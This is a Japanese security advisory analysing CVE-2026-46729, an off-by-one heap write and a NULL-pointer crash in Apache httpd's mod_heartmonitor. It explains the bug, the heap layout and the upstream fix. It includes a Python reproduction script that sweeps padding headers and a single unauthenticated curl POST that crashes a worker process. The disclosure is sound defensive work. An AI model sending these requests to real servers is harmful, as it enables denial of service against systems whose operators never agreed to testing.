1バイトのはみ出し: Apache HTTP Server mod_heartmonitor におけるヒープバッファオーバーフロー

CVE
CVE-2026-46729
CVSS
7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) — 独自評価(公式スコア未公表)
CWE
CWE-787 / CWE-193(境界外書き込み)
対象
mod_heartmonitor — Apache HTTP Server 2.4.x, trunk
上流修正
trunk r1938653(1f5b504654)、2.4.x r1938654(7b12a7936e)

 httpd 2.4.68 / trunk の監査中に脆弱性を特定
 Apache Security へ報告、上流にて修正(CVE-2026-46729)
 本解析レポートを公開

この記事では、Apache HTTP Server の mod_heartmonitor にあった認証不要の 1 バイトヒープ境界外書き込み(CVE-2026-46729)についてまとめます。

SetHandler heartbeat が設定されたエンドポイントへ HTTP POST を送れるクライアントであれば、1,000 バイトのヒープバッファの直後に 1 バイトの NUL 文字を書き込ませることができます。ハンドラはリクエストボディ用にちょうど MAX_MSG_LEN(1,000)バイトを確保し、入力バケットから最大 MAX_MSG_LEN バイトを読み込んだあと、無条件に buf[len] = '\0' を実行します。ボディが 1,000 バイト以上のとき len == 1000 になり、確保領域の 1 バイト外側である buf[1000] に NUL が書き込まれます。

概要は以下の通りです:

背景: ロードバランシングとハートビート収集

エンタープライズの可用性設計において、リバースプロキシはバックエンドクラスタの稼働状況や処理負荷をリアルタイムに把握してルーティングを行う必要があります。Apache HTTP Server では、この機構を mod_proxy_balancer、mod_heartmonitor、mod_lbmethod_heartbeat の連携によって実現しています。

各バックエンドサーバは mod_heartbeat を通じて、自身のビジースロット数や余力状況を含む「ハートビート」を定期的に発信します。リバースプロキシ側の mod_heartmonitor はこれらのメッセージを受信・集約し、共有メモリ(slotmem_shm)に格納します。

メッセージの受信経路として、以下の 2 つが用意されています:

<Location "/hb">
    SetHandler heartbeat
</Location>

mod_heartmonitor は標準インストール状態では無効ですが、クラスタ構成(Red Hat JBoss EWS や mod_cluster 配備環境など)では広く利用されています。この HTTP エンドポイントはモジュール自体による認証ハンドシェイクを持たず、到達可能なクライアントからのリクエストをそのまま受け入れます。

脆弱性の構造: 片方だけ忘れられた +1

ハートビートメッセージの上限長は、modules/cluster/mod_heartmonitor.c でマクロ定義されています:

#define MAX_MSG_LEN (1000)

HTTP ハンドラである hm_handler(Apache 2.4.68 では 772 行目付近)は APR_HOOK_FIRST 優先度で登録されており、リクエスト受信時に以下の処理を実行します:

static int hm_handler(request_rec *r)
{
    apr_size_t len = MAX_MSG_LEN;
    apr_status_t status;
    apr_bucket_brigade *input_brigade;
    char *buf;
    ...

    if (r->method_number != M_POST) {
        return HTTP_METHOD_NOT_ALLOWED;
    }

    len = MAX_MSG_LEN;
    ctx = ap_get_module_config(r->server->module_config,
            &heartmonitor_module);

    buf = apr_pcalloc(r->pool, MAX_MSG_LEN);
    input_brigade = apr_brigade_create(r->connection->pool,
                                     r->connection->bucket_alloc);
    status = ap_get_brigade(r->input_filters, input_brigade,
                            AP_MODE_READBYTES, APR_BLOCK_READ,
                            MAX_MSG_LEN);
    if (status != APR_SUCCESS) {
        return ap_map_http_request_error(status, HTTP_BAD_REQUEST);
    }
    apr_brigade_flatten(input_brigade, buf, &len);

    /* we can't use hm_processmsg because it uses hm_get_server() */
    buf[len] = '\0';
    tbl = apr_table_make(r->pool, 10);
    qs_to_table(buf, tbl, r->pool);
    ...

このコードには、バッファ確保とバケット展開の間に明確な計算ミスが存在します:

  1. apr_pcalloc(r->pool, 1000) で、リクエストプール上にちょうど 1,000 バイトの領域を確保します。
  2. ap_get_brigade により、入力フィルタから最大 MAX_MSG_LEN(1,000 バイト)を読み込みます。
  3. apr_brigade_flatten(input_brigade, buf, &len) が実行されます。APR の実装(apr_brigade.c:243)において *len は受信用バッファの容量上限として機能します。POST ボディが 1,000 バイト以上ある場合、きっちり 1,000 バイトがコピーされ、len には 1000 が代入されます。
  4. 直後に buf[len] = '\0' が実行されます。1,000 バイト確保(有効インデックス 0..999)に対して buf[1000] へ書き込みを行うため、バッファ終端から 1 バイトはみ出した NUL 書き込みが発生します。

兄弟関数である UDP 受信ループ(hm_recv)と対比すると、この欠落がなぜ生じたかがよく分かります:

static void * APR_THREAD_FUNC hm_recv(apr_thread_t *thd, void *rec)
{
    char buf[MAX_MSG_LEN + 1];   /* UDP 側: 終端文字用に +1 バイトを確保 */
    apr_size_t len = MAX_MSG_LEN;
    ...
    apr_socket_recvfrom(..., buf, &len);
    buf[len] = '\0';
    ...

UDP 側では最初から MAX_MSG_LEN + 1 と宣言されていました。2009 年 7 月のコミット 84c7d1c676f で HTTP ハンドラが追加された際、作者は buf[len] = '\0' のイディオムをコピーしながら、apr_pcalloc の引数には MAX_MSG_LEN をそのまま渡してしまいました。この 1 バイトの確保漏れが、その後 16 年間にわたって全バージョンに潜み続けることになります。

+-------------------------------------------------------------+---+
|                buf: apr_pcalloc(r->pool, 1000)              |???|
|  [0]                                                 [999]  |   |
+-------------------------------------------------------------+---+
                                                                |
  buf[len] = '\0'  (len == 1000)  ------------------------------+
  (1バイトの境界外 NUL 書き込み)

検証: ヘッダ長によるノード境界への配置

動的な検証のため、Clang 18 で AddressSanitizer (ASan)、UndefinedBehaviorSanitizer (UBSan)、および APR プールデバッグフラグ(-DAPR_POOL_DEBUG=1)を有効にした Apache 2.4.68 をビルドしました。

Apache では、apr_pcalloc(r->pool, size) の呼び出しごとに OS の malloc() が直接走るわけではありません。APR は内部で 8,192 バイト等のメモリブロック(apr_memnode_t)を確保し、その中をバンプポインタで切り出して各プール要求に割り当てます。

buf は r->pool から切り出されるため、リクエスト受信時に先行して r->pool に確保されたデータ(クライアントが送った HTTP ヘッダなど)の分だけバンプポインタが前に進みます。

したがって、リクエストに適当なパディングヘッダ(X-Pad: AAAA...)を付けて長さを変えていくと、buf の開始位置が少しずつずれ、8KB ノードの残り容量がちょうど 1,000 バイトになる位置に当てることができます。このとき buf[1000] への書き込みは 8,192 バイトのノード境界を跨ぎ、隣のチャンクの先頭に落ちます。

再現スクリプトによるテスト:

import socket

target = ("127.0.0.1", 35051)

# X-Pad パディングを 0 から 8168 まで 8 バイト刻みで掃引
for pad_len in range(0, 8192, 8):
    s = socket.create_connection(target)
    body = b"v=1&busy=1&ready=1&" + b"A" * 1000
    req = (
        b"POST /hb HTTP/1.1\r\n"
        b"Host: 127.0.0.1\r\n"
        b"Content-Length: " + str(len(body)).encode() + b"\r\n"
        b"X-Pad: " + (b"A" * pad_len) + b"\r\n"
        b"\r\n"
        + body
    )
    s.sendall(req)
    resp = s.recv(1024)
    s.close()

ノード境界と書き込み位置が合致した瞬間、AddressSanitizer が確定的クラッシュを捕捉します:

=================================================================
==3802065==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5250001e4900
WRITE of size 1 at 0x5250001e4900 thread T32
    #0 0x7fb142e3d37e in hm_handler modules/cluster/mod_heartmonitor.c:772
    #1 0x57a5a4 in ap_run_handler server/config.c:169
    #2 0x57d27c in ap_invoke_handler server/config.c:443
    #3 0x61b1c0 in ap_process_async_request modules/http/http_request.c:452
    #4 0x606bd9 in ap_process_http_async_connection modules/http/http_core.c:155
    #5 0x6076cc in ap_process_http_connection modules/http/http_core.c:246
    #6 0x5c32b4 in ap_run_process_connection server/connection.c:42
    #7 0x6701e1 in process_socket server/mpm/event/event.c:1098
    #8 0x67f4a6 in worker_thread server/mpm/event/event.c:2252

0x5250001e4900 is located 0 bytes after 8192-byte region [0x5250001e2900,0x5250001e4900)
allocated by thread T28 here:
    #0 0x7fb1490fc667 in malloc (/lib64/libasan.so.8+0xfc667)
    #1 0x7fb148e4de8f in allocator_alloc (libapr-1.so.0)
    #2 0x7fb148b5eea4 in apr_bucket_alloc buckets/apr_buckets_alloc.c:198
    #3 0x7fb148b68450 in socket_bucket_read buckets/apr_buckets_socket.c:34

これにより、認証不要のリモート入力から到達可能で、ヘッダ長の調整によって境界位置を制御できるヒープ境界外書き込みであることが動的に実証されました。

悪用可能性の評価

この 1 バイト書き込みが実際の環境でどこまで悪用できるかを整理します。

1. プリミティブの制約

2. glibc ptmalloc 上での挙動

標準的な Linux 環境(RHEL, Debian, Ubuntu など)では、Apache は glibc の ptmalloc 上で動きます。8,192 バイトの apr_memnode_t の直後には、次のチャンクのヘッダが並びます:

+---------------------------------------+
|  チャンク A(8192 バイト APR memnode) |
|  ... データ ...                        |
+---------------------------------------+ <-- ノード境界
|  チャンク B: prev_size(8 バイト)     | <-- buf[1000] は byte 0 に落ちる
|  チャンク B: size | flags(8 バイト)  |
|  チャンク B: ユーザーデータ ...        |
+---------------------------------------+

buf[1000] がノード境界を越えると、チャンク B の prev_size の最下位バイトを 0 にします。一般には prev_size の書き換えは free() 時の後方統合(backward consolidation)を狙う手筋ですが、ここでは次の 2 点から機能しません:

  1. 先行チャンク解放時の上書き: glibc がチャンク B の prev_size を読むのは、先行チャンク A が解放済み(PREV_INUSE == 0)のときだけです。ところがチャンク A が free() される際、glibc の _int_free() は統合判定に入る前に ChunkB->prev_size = ChunkA->size を書き込みます。そのため、0 に潰したバイトは参照される前に正規のサイズで上書きされます。
  2. APR 側のノード保持: Apache のアロケータは解放されたノードをすぐには free() せず、内部のフリーリスト(MaxMemFree、デフォルト 2MB)にキャッシュして使い回します。そのため glibc レベルでの統合自体がほとんど起きません。

確認のため、サニタイザなしの素の Apache 2.4.68(Linux x86_64)に対して、パディング長を変えながら 2,000 リクエストを送るテストを行いました。MALLOC_CHECK_=3 と MALLOC_PERTURB_=0xaa を付けた状態でも 2,000 件すべてが 200 OK で返り、クラッシュやアロケータ警告は出ませんでした。

3. 代替アロケータ(jemalloc, tcmalloc)での挙動

LD_PRELOAD 等で jemalloc や tcmalloc を使っている環境では、インラインのチャンクヘッダがなく、同じサイズクラスの確保領域が連続して並びます。

jemalloc 下でノード境界を跨ぐと、書き込みは隣接する使用中オブジェクトの先頭バイト(byte 0)に入ります。隣接オブジェクトの先頭がポインタ(フリーリストの next ポインタや関数ポインタなど)であれば、最下位バイトが 0 になって参照先が最大 255 バイトずれます。理論上は破壊が成立しますが、狙った構造体を隣に置くにはスレッドを跨いだヒープ調整が必要です。jemalloc 下での 2,000 リクエスト掃引でもクラッシュは起きませんでした。

4. サービス拒否(DoS)が起きる条件

以下の条件ではクラッシュによる DoS になります:

5. CVSS 評価

ベーススコアは CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5 High) と自己評価しました。認証不要でネットワーク越しに到達でき、ワーカースレッドの SIGSEGV で子プロセスが落ちると処理中の他接続もまとめて切れるため A:H、コード実行や情報漏洩は確認できていないため C:N / I:N としています。

同一関数内のもう一つのバグ: atoi(NULL) によるクラッシュ

同じ hm_handler のパラメータ処理を追うと、もう一つ直接的なクラッシュバグがありました。バッファ展開の直後、クエリ文字列をテーブルに展開してサーバ情報を読み出す箇所です:

    tbl = apr_table_make(r->pool, 10);
    qs_to_table(buf, tbl, r->pool);
    apr_sockaddr_ip_get(&ip, r->connection->client_addr);
    hmserver.ip = ip;
    hmserver.port = 80;
    if (apr_table_get(tbl, "port") != NULL)
        hmserver.port = atoi(apr_table_get(tbl, "port"));
    hmserver.busy = atoi(apr_table_get(tbl, "busy"));
    hmserver.ready = atoi(apr_table_get(tbl, "ready"));
    hmserver.seen = apr_time_now();
    hm_update_stat(ctx, &hmserver, r->pool);

port パラメータの扱いを見てください。apr_table_get(tbl, "port") != NULL を事前に確認してから atoi() を呼んでいます。しかし、続く 2 行にはそのガードがありません:

    hmserver.busy = atoi(apr_table_get(tbl, "busy"));
    hmserver.ready = atoi(apr_table_get(tbl, "ready"));

POST リクエストのボディに busy や ready というパラメータが含まれていない場合(例えば POST /hb に v=1&x=1 を送るか、空のボディを送信した場合)、apr_table_get() は NULL を返します。C 言語の標準ライブラリ関数 atoi() に NULL ポインタを渡すと、アドレス 0x0 の参照が発生し、プロセスは即座に SIGSEGV でクラッシュします。

素の Apache 2.4.68 サーバに対してテストを行いました:

# 正しいハートビート POST は 200 OK
curl -X POST http://127.0.0.1:45678/hb -d "v=1&busy=1&ready=1"
# レスポンス: HTTP/1.1 200 OK

# busy/ready を欠いた不正なリクエスト
curl -X POST http://127.0.0.1:45678/hb -d "v=1&x=1"
# レスポンス: curl: (52) Empty reply from server

Apache のエラーログには、即座にセグメンテーション違反が記録されます:

[Sat Oct 03 10:13:35.395829 2026] [core:notice] [pid 2378376:tid 2378376] AH00051: child pid 2378378 exit signal Segmentation fault (11), possible coredump in /tmp/httpd-vanilla-install

標準の event MPM において子プロセスが落ちると、そのプロセスが担当していたすべての Keep-Alive 接続が強制切断されます。認証なしで単発の HTTP パケットを送るだけで確実に子プロセスを落とせるため、実用的な DoS 攻撃の脅威としては前述のヒープ境界外書き込み以上に直接的です。

この NULL デリファレンス問題は 2026 年 7 月に別途 Apache セキュリティチームへ報告されており、同じく CVE-2026-46729 の識別子の下で追跡されていました。

上流の修正

、Apache HTTP Server の trunk(r1938653 / 1f5b504654)と 2.4.x ブランチ(r1938654 / 7b12a7936e)に修正が入りました。

1 バイトの境界外書き込みとパラメータ欠落時のクラッシュの両方がまとめて直されています:

--- a/modules/cluster/mod_heartmonitor.c
+++ b/modules/cluster/mod_heartmonitor.c
@@ -756,11 +759,27 @@ static int hm_handler(request_rec *r)
         return HTTP_METHOD_NOT_ALLOWED;
     }

-    len = MAX_MSG_LEN;
     ctx = ap_get_module_config(r->server->module_config,
             &heartmonitor_module);

-    buf = apr_pcalloc(r->pool, MAX_MSG_LEN);
+    /* Check if module is active */
+    if (!ctx || !ctx->active) {
+        ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10561)
+                      "Heartbeat monitoring not active");
+        return HTTP_SERVICE_UNAVAILABLE;
+    }
+
+    /* Validate Content-Length before reading */
+    if (r->remaining > MAX_MSG_LEN) {
+        ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10562)
+                      "Heartbeat message too large: %" APR_OFF_T_FMT " bytes (max %d)",
+                      r->remaining, MAX_MSG_LEN);
+        return HTTP_REQUEST_ENTITY_TOO_LARGE;
+    }
+
     len = MAX_MSG_LEN;
+    /* Allocate buffer with space for null terminator */
+    buf = apr_pcalloc(r->pool, MAX_MSG_LEN + 1);
     input_brigade = apr_brigade_create(r->connection->pool, r->connection->bucket_alloc);
     status = ap_get_brigade(r->input_filters, input_brigade, AP_MODE_READBYTES, APR_BLOCK_READ, MAX_MSG_LEN);
     if (status != APR_SUCCESS) {
@@ -772,13 +791,49 @@ static int hm_handler(request_rec *r)
     buf[len] = '\0';
     tbl = apr_table_make(r->pool, 10);
     qs_to_table(buf, tbl, r->pool);
+
+    /* Validate required parameters - prevent NULL pointer dereference */
+    if (apr_table_get(tbl, "busy") == NULL ||
+        apr_table_get(tbl, "ready") == NULL) {
+        ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10563)
+                      "Missing required parameters: busy and/or ready");
+        return HTTP_BAD_REQUEST;
+    }
+
     apr_sockaddr_ip_get(&ip, r->connection->client_addr);
     hmserver.ip = ip;
     hmserver.port = 80;
-    if (apr_table_get(tbl, "port") != NULL)
-        hmserver.port = atoi(apr_table_get(tbl, "port"));
-    hmserver.busy = atoi(apr_table_get(tbl, "busy"));
-    hmserver.ready = atoi(apr_table_get(tbl, "ready"));
+
+    /* Validate and parse port with proper bounds checking */
+    val = apr_table_get(tbl, "port");
+    if (val != NULL) {
+        port_long = strtol(val, &endptr, 10);
+        if (*endptr == '\0' && port_long > 0 && port_long <= 65535) {
+            hmserver.port = (unsigned int)port_long;
+        }
+        else {
+            ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10564)
+                          "Invalid port value: %s, using default 80", val);
+        }
+    }
+
+    /* Parse busy and ready with validation */
+    val = apr_table_get(tbl, "busy");
+    hmserver.busy = (int)strtol(val, &endptr, 10);
+    if (*endptr != '\0') {
+        ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10565)
+                      "Invalid busy value: %s, using 0", val);
+        hmserver.busy = 0;
+    }
+
+    val = apr_table_get(tbl, "ready");
+    hmserver.ready = (int)strtol(val, &endptr, 10);
+    if (*endptr != '\0') {
+        ap_log_rerror(APLOG_MARK, APLOG_WARNING, 0, r, APLOGNO(10566)
+                      "Invalid ready value: %s, using 0", val);
+        hmserver.ready = 0;
+    }
+
     hmserver.seen = apr_time_now();
     hm_update_stat(ctx, &hmserver, r->pool);

変更点は次の 5 つです:

  1. バッファ長の拡張: apr_pcalloc(r->pool, MAX_MSG_LEN + 1) により終端 NUL 用の 1,001 バイト目を確保し、OOB 書き込みを根本解消。
  2. 事前長チェック: バケットを読む前に r->remaining を確認し、宣言サイズが MAX_MSG_LEN を超える場合は 413 Payload Too Large で即時拒否。
  3. モジュール稼働状態の確認: !ctx || !ctx->active の場合に 503 Service Unavailable を返却。
  4. NULL ポインタのガード: busy と ready の存在を事前に確認し、欠落している場合は 400 Bad Request を返却して atoi(NULL) クラッシュを防止。
  5. 厳格な整数パース: atoi() から strtol() へ移行し、ポート番号の範囲検証(1..65535)や不正な文字の混入を検知。

報告と開示の経緯

本脆弱性は、再現コードおよび AddressSanitizer による検証ログを添えて Apache セキュリティチームへ報告しました。調査と調整を経て本件は CVE-2026-46729 として整理され、上流リポジトリ(trunk および 2.4.x)において包括的なパッチがコミットされました。先行する調査との独立発見として、Apache HTTP Server PMC より共同発見者(additional finder)としてのクレジットが付与されています。

影響を受けるバージョンと対策

本脆弱性は、Apache HTTP Server 2.4.0 から 2.4.68 までの全バージョン、およびコミット 1f5b504654 より前の trunk に存在します。旧来の 2.2 系には本モジュールは存在しません。

運用環境における推奨対策は以下の通りです:

タイムライン

日付出来事
コミット 84c7d1c676f により HTTP ハートビートハンドラが追加される(+1 バッファ欠落を含む)
Apache 2.4.0 リリース(脆弱なコードが含まれる最初の安定版)
同一ハンドラの NULL ポインタ参照に関する先行報告(CVE-2026-46729)
Apache 2.4.68 監査中に本脆弱性を独立発見
Apache Security へ報告、上流(r1938653 / r1938654)にて修正、CVE-2026-46729 共同クレジット
本解説記事を公開

報告者: Keita Sode(SYZD Research)。迅速に対応いただいた Apache HTTP Server セキュリティチームに感謝申し上げます。なお、すべての実証実験はローカルで隔離されたプライベート検証環境において実施されています。